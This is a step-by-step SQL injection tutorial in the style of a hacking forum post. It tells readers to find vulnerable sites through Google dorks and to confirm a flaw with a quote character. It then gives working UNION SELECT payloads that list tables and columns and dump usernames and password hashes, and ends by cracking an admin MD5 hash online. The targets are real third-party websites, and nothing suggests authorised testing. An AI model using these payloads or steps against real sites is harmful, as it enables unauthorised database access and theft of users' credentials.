SQL Injection -Fully Explained

Welcome, here you'll find out how to SQL Inject, by steps.
_________________________________________________________________________
Find Dorks here: http://pastebin.com/4kDM5MbJ

1) Find the site you want to SQL Inject from google.com

2) Search your dorks (From the list provided) on google.

3) Select sites and put a ' at the end of the number of the url.

4) If you get a error(any type with MYSQL error included) or A broken Images (or video) Its Vulnerable

5) Now you need to do ORDER BY 100- if it says "column 100 Unknown" Or the same error go down to 25 and go down 1 each time till it has no error. Now you found your Vulnerable table Lets Inject it!

6) Okay now once you have the table that is injectable, Lets Say your vuln column is 5 and you recieve the error on "6" do UNION SELECT (Example: site.com/index.php?id=null union select 1,2,3,4,5--) Lets say it gives you 3 numbers, 1 & 3. Both are injectable!

7) Now lets check the Version of the Website. (EXAMPLE: site.com/index.php?id=null union select 1,2,@@version,4,5,6--) This will give you the version of the site!
______________________________________________
Alright Now that we found the version (This isn't important, not exactly anyway) You're ready to find the tables,columns,and data from the database! Lets begin.
---------------------------------------------------------

8) Now we need to find the tables, you simply do this (Example: site.com/index.php?id=null union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()-- ) This will get the tables of the site!

        Note: keep notepad++ or notepad open to keep track of columns and tables
(look for username,password,email)
----------------------------------------------------------
Now we need to find the columns of the website, this is fairly easy to do!

9) Simply do this: (EXAMPLE: site.com/index.php?id=null union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_schema=database()-- )

        After you did this CONGRATULATIONS you've found the tables and columns of the website!
----------------------------|---------|--------------------------------------------------------
----------------------------|STEP 10  |--------------------------------------------------------
----------------------------|---------|--------------------------------------------------------
Now it is time to find your administrative information!
Do these steps below! Lets say you found Username and Password in your tables, and you found login in your column section!

To find your admin info do this: (EXAMPLE: site.com/index.php?id=null union select 1,2,group_concat(username,0x3a,password),4,5,6 from login-- ) You'll recieve the information of all the users in the database, from the login recent,old,etc.

Lets say it is Like this on the preview page!

admin:b59c67bf196a4758191e42f76670ceba

You now see a hash up top next to : <--that.
        To decrypt a hash (This is a MD5 hash) You can simply go to http://www.md5decrypter.co.uk and decrypt it. (This is usually in plain text though)

Here is a photo of the example:

http://prntscr.com/y4mag

Enjoy I hope this helped with your SQL Injection